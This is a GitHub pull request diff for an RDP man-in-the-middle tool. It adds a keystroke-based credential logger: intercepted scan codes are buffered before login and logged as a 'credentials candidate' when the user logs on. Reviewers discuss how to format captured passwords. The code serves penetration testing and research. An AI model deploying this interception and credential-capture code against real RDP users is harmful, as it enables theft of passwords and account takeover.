Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Added credential logger #106

Merged
merged 7 commits into from
Jul 2, 2019
Merged
Show file tree
Hide file tree
Changes from 5 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
26 changes: 24 additions & 2 deletions pyrdp/mitm/DeviceRedirectionMITM.py
Original file line number Diff line number Diff line change
Expand Up @@ -11,12 +11,13 @@
from typing import Dict, Optional, Union

from pyrdp.core import FileProxy, ObservedBy, Observer, Subject
from pyrdp.enum import CreateOption, DeviceType, DirectoryAccessMask, FileAccessMask, FileAttributes, \
from pyrdp.enum import CreateOption, DeviceRedirectionPacketID, DeviceType, DirectoryAccessMask, FileAccessMask, FileAttributes, \
FileCreateDisposition, FileCreateOptions, FileShareAccess, FileSystemInformationClass, IOOperationSeverity, \
MajorFunction, MinorFunction
from pyrdp.layer import DeviceRedirectionLayer
from pyrdp.mitm.config import MITMConfig
from pyrdp.mitm.FileMapping import FileMapping, FileMappingDecoder, FileMappingEncoder
from pyrdp.mitm.state import RDPMITMState
from pyrdp.pdu import DeviceAnnounce, DeviceCloseRequestPDU, DeviceCloseResponsePDU, DeviceCreateRequestPDU, \
DeviceCreateResponsePDU, DeviceDirectoryControlResponsePDU, DeviceIORequestPDU, DeviceIOResponsePDU, \
DeviceListAnnounceRequest, DeviceQueryDirectoryRequestPDU, DeviceQueryDirectoryResponsePDU, DeviceReadRequestPDU, \
Expand Down Expand Up @@ -53,7 +54,7 @@ class DeviceRedirectionMITM(Subject):
FORGED_COMPLETION_ID = 1000000


def __init__(self, client: DeviceRedirectionLayer, server: DeviceRedirectionLayer, log: LoggerAdapter, config: MITMConfig):
def __init__(self, client: DeviceRedirectionLayer, server: DeviceRedirectionLayer, log: LoggerAdapter, config: MITMConfig, state: RDPMITMState):
"""
:param client: device redirection layer for the client side
:param server: device redirection layer for the server side
Expand All @@ -64,6 +65,7 @@ def __init__(self, client: DeviceRedirectionLayer, server: DeviceRedirectionLaye

self.client = client
self.server = server
self.state = state
self.log = log
self.config = config
self.currentIORequests: Dict[int, DeviceIORequestPDU] = {}
Expand Down Expand Up @@ -128,6 +130,10 @@ def handlePDU(self, pdu: DeviceRedirectionPDU, destination: DeviceRedirectionLay
elif isinstance(pdu, DeviceListAnnounceRequest):
self.handleDeviceListAnnounceRequest(pdu)

elif isinstance(pdu, DeviceRedirectionPDU):
if pdu.packetID == DeviceRedirectionPacketID.PAKID_CORE_USER_LOGGEDON:
self.handleClientLogin()

if not dropPDU:
destination.sendPDU(pdu)

Expand Down Expand Up @@ -270,6 +276,22 @@ def handleCloseResponse(self, request: DeviceCloseRequestPDU, _: DeviceCloseResp
self.saveMapping()


def handleClientLogin(self):
"""
Handle events that should be triggered when a client logs in.
"""

if self.state.credentialsCandidate or self.state.inputBuffer:
self.log.info("Credentials candidate from heuristic: %(credentials_candidate)s", {"credentials_candidate" : (self.state.credentialsCandidate or self.state.inputBuffer) })

# Deactivate the logger for this client
self.state.loggedIn = True
self.state.shiftPressed = False
self.state.capsLockOn = False
self.state.credentialsCandidate = ""
self.state.inputBuffer = ""


def findNextRequestID(self) -> int:
"""
Find the next request ID to be returned for a forged request. Request ID's start from a different base than the
Expand Down
45 changes: 43 additions & 2 deletions pyrdp/mitm/FastPathMITM.py
Original file line number Diff line number Diff line change
Expand Up @@ -6,7 +6,9 @@

from pyrdp.layer import FastPathLayer
from pyrdp.mitm.state import RDPMITMState
from pyrdp.pdu import FastPathPDU
from pyrdp.pdu import FastPathPDU, FastPathScanCodeEvent
from pyrdp.player import keyboard
from pyrdp.enum import ScanCode


class FastPathMITM:
Expand Down Expand Up @@ -37,6 +39,45 @@ def onClientPDUReceived(self, pdu: FastPathPDU):
if self.state.forwardInput:
self.server.sendPDU(pdu)

if not self.state.loggedIn:
for event in pdu.events:
if isinstance(event, FastPathScanCodeEvent):
self.onScanCode(event.scanCode, event.isReleased, event.rawHeaderByte & keyboard.KBDFLAGS_EXTENDED != 0)

def onServerPDUReceived(self, pdu: FastPathPDU):
if self.state.forwardOutput:
self.client.sendPDU(pdu)
self.client.sendPDU(pdu)

def onScanCode(self, scanCode: int, isReleased: bool, isExtended: bool):
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

We should probably store some of the special characters and output them in the logs/json. For example: backspace and tab.

A user has more chances of understanding P<\b>Passw0rd! rather than PPassw0rd!. I'm not too opinionated about what format it should be but since we are already seeing \x00 in some fields, we could just pass it like that, so backspace would be \x08 and tab \x09. That's just a suggestion, something fancier would be ok too.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Here is an example candidate currently. I tokenized each action the same way to simplify logging / parsing accuracy.
MonPass<ctrl-a><\b>Passw0rd!

"""
Handle scan code.
"""
keyName = keyboard.getKeyName(scanCode, isExtended, self.state.shiftPressed, self.state.capsLockOn)
scanCodeTuple = (scanCode, isExtended)

# Left or right shift
if scanCodeTuple in [ScanCode.LSHIFT, ScanCode.RSHIFT]:
self.state.shiftPressed = not isReleased
# Caps lock
elif scanCodeTuple == ScanCode.CAPSLOCK and not isReleased:
self.state.capsLockOn = not self.state.capsLockOn
# Control
elif scanCodeTuple in [ScanCode.LCONTROL, ScanCode.RCONTROL]:
self.state.ctrlPressed = not isReleased
# Backspace
elif scanCodeTuple == ScanCode.BACKSPACE and not isReleased:
self.state.inputBuffer += "<\\b>"
# Tab
elif scanCodeTuple == ScanCode.TAB and not isReleased:
self.state.inputBuffer += "<\\t>"
# CTRL + A
elif scanCodeTuple == ScanCode.KEY_A and self.state.ctrlPressed and not isReleased:
self.state.inputBuffer += "<ctrl-a>"
# Return
elif scanCodeTuple == ScanCode.RETURN and not isReleased:
self.state.credentialsCandidate = self.state.inputBuffer
self.state.inputBuffer = ""
# Normal input
elif len(keyName) == 1:
if not isReleased:
self.state.inputBuffer += keyName
2 changes: 1 addition & 1 deletion pyrdp/mitm/mitm.py
Original file line number Diff line number Diff line change
Expand Up @@ -297,7 +297,7 @@ def buildDeviceChannel(self, client: MCSServerChannel, server: MCSClientChannel)
LayerChainItem.chain(client, clientSecurity, clientVirtualChannel, clientLayer)
LayerChainItem.chain(server, serverSecurity, serverVirtualChannel, serverLayer)

deviceRedirection = DeviceRedirectionMITM(clientLayer, serverLayer, self.getLog(MCSChannelName.DEVICE_REDIRECTION), self.config)
deviceRedirection = DeviceRedirectionMITM(clientLayer, serverLayer, self.getLog(MCSChannelName.DEVICE_REDIRECTION), self.config, self.state)
self.channelMITMs[client.channelID] = deviceRedirection

if self.attacker:
Expand Down
18 changes: 18 additions & 0 deletions pyrdp/mitm/state.py
Original file line number Diff line number Diff line change
Expand Up @@ -51,6 +51,24 @@ def __init__(self):
self.forwardOutput = True
"""Whether output from the server should be forwarded to the client"""

self.loggedIn = False
"""Keep tracks of the client login status"""

self.inputBuffer = ""
"""Used to store what the client types"""

self.credentialsCandidate = ""
"""The potential client password"""

self.shiftPressed = False
"""The current keyboard shift state"""

self.capsLockOn = False
"""The current keyboard capsLock state"""

self.ctrlPressed = False
"""The current keybaord ctrl state"""

self.securitySettings.addObserver(self.crypters[ParserMode.CLIENT])
self.securitySettings.addObserver(self.crypters[ParserMode.SERVER])

Expand Down
2 changes: 1 addition & 1 deletion pyrdp/player/PlayerEventHandler.py
Original file line number Diff line number Diff line change
Expand Up @@ -185,7 +185,7 @@ def onFastPathInput(self, pdu: PlayerPDU):
elif isinstance(event, FastPathMouseEvent):
self.onMouse(event)
elif isinstance(event, FastPathScanCodeEvent):
self.onScanCode(event.scanCode, event.isReleased, event.rawHeaderByte & 2 != 0)
self.onScanCode(event.scanCode, event.isReleased, event.rawHeaderByte & keyboard.KBDFLAGS_EXTENDED != 0)


def onUnicode(self, event: FastPathUnicodeEvent):
Expand Down
3 changes: 3 additions & 0 deletions pyrdp/player/keyboard.py
Original file line number Diff line number Diff line change
Expand Up @@ -9,6 +9,9 @@
from PySide2.QtCore import Qt
from PySide2.QtGui import QKeyEvent

# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/089d362b-31eb-4a1a-b6fa-92fe61bb5dbf
KBDFLAGS_EXTENDED = 2

SCANCODE_MAPPING = {
Qt.Key.Key_Escape: 0x01,
Qt.Key.Key_1: 0x02,
Expand Down